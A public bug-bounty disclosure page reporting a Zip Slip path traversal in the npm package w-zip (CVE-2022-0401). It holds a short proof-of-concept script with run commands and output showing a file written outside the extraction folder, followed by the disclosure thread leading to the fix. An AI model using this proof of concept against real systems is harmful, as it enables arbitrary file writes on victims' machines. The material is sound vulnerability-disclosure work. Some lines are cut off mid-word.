Path Traversal in yuda-lyu/w-zip

0

Valid Reported on Oct 11th 2021

Description

w-zip is vulnerable to Arbitrary File Write via Archive Extraction (Zip Slip).

Proof of Concept

```
// PoC.js

var wz = require('w-zip');

let fpUnzip = './testData/outputZip'
let fpUnzipExtract = fpUnzip + '/extract'
let fpZip1 = fpUnzip + '/zipslip.zip'

async function checkzipslip() {

    //unzip
    console.log('unzip1 before')
    console.log('unzip1', await wz.mZip.unzip(fpZip1, fpUnzipExtract + '/zi
    console.log('unzip1 after')

}
checkzipslip()
    .catch((err) => {
        console.log(err)
    })
```

Execute the following commands in the terminal:

```
Download
1. npm i w-zip# Install affected module

2. zipslip example file can be found at - https://github.com/snyk/zip-slip-
3. node poc.js #  Run the PoC
```

Output

```
─[user@parrot]─[~/node_modules/w-zip]
└──╼ $node  poc.js
unzip1 before
unzip1 done: ./testData/outputZip/extract/zipslip
unzip1 after
┌─[user@parrot]─[~/node_modules/w-zip]
└──╼ $ls /tmp
evil.txt

Check the temp folder for the evil.txt file.
```

Impact

It may lead to Information Disclosure/DoS/RCE.

Occurrences

mZip.mjs L266

CVE
CVE-2022-0401
(Published)

Vulnerability Type
CWE-22: Path Traversal

Severity
Critical (9.4)

Affected Version
*

Visibility
Public

Status
Fixed

Found by

sheldor2021
@sheldor2021
unranked

This report was seen 411 times.

We created a **GitHub Issue** asking the maintainers to create a `SECURITY.md` a year ago

We have contacted a member of the **yuda-lyu/w-zip** team and are waiting to hear back a year ago

We have sent a second follow up to the **yuda-lyu/w-zip** team. We will try again in 10 days. a year ago

sheldor2021 a year ago Researcher

Thanks @admin

sheldor2021 a year ago Researcher

@admin I see the @maintainer has added a commit - https://github.com/yuda-lyu/w-zip/commit/d7039d034e02fa358e6656565157cedf5fa83288 3 days back which fixes the issue reported here. However he has not approved the issue here. Can you please look into this ??

Jamie Slome a year ago Admin

I have dropped a message on the GitHub Issue, and ☝ the maintainer will g
shortly.

yuda-lyu validated this vulnerability a year ago

sheldor2021 has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

yuda-lyu marked this as fixed with commit d7039d a year ago

The fix bounty has been dropped ✖

This vulnerability will not receive a CVE ✖

mZip.mjs#L266 has been validated ✔

sheldor2021 a year ago Researcher

@admin Can we have a CVE assigned to this issue ?

Jamie Slome a year ago Admin

@sheldor2021 - sure!

When our system does not automatically assign a CVE, we require a confirmation from the maintainer that they are happy to assign a CVE.

@yuda-lyu - are you happy for a CVE to be assigned for this report?

sheldor2021 10 months ago Researcher

@yuda-lyu Can you please confirm if a CVE can be assigned

Jamie Slome 10 months ago Admin

@sheldoer2021 - I have messaged the maintainer here.

Jamie Slome 10 months ago

CVE published! ♥

Sign in to join this conversation